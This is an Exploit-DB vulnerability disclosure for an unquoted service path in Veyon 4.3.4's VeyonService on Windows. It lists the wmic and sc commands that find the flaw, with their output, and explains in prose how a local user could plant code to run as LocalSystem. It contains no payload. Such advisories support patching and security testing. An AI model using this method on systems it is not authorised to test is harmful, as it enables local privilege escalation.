Veyon 4.3.4 – ‘VeyonService’ Unquoted Service Path

• Exploit Database
• 100 阅读

• 作者： Víctor García
  日期： 2020-03-24
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/48246/
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  # Exploit Title: Veyon 4.3.4 - 'VeyonService' Unquoted Service Path # Discovery by: Víctor García # Discovery Date: 2020-03-23 # Vendor Homepage: https://veyon.io/ # Software Link: https://github.com/veyon/veyon/releases/download/v4.3.4/veyon-4.3.4.0-win64-setup.exe # Tested Version: 4.3.4 # Vulnerability Type: Unquoted Service Path # Tested on: Windows 10 Pro x64   # Step to discover Unquoted Service Path:   C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """ Veyon Service VeyonService C:\Program Files\Veyon\veyon-service.exe     # Service info:   C:\>sc qc VeyonService [SC] QueryServiceConfig SUCCESS   SERVICE_NAME: VeyonService TYPE : 10WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL: 1 NORMAL BINARY_PATH_NAME : C:\Program Files\Veyon\veyon-service.exe LOAD_ORDER_GROUP : TAG: 0 DISPLAY_NAME : Veyon Service DEPENDENCIES : Tcpip : RpcSs SERVICE_START_NAME : LocalSystem     # Exploit:   # A successful attempt would require the local user to be able to insert their code in the # system root path undetected by the OS or other security applications where it could # potentially be executed during application startup or reboot. If successful, the local # user's code would execute with the elevated privileges of the application.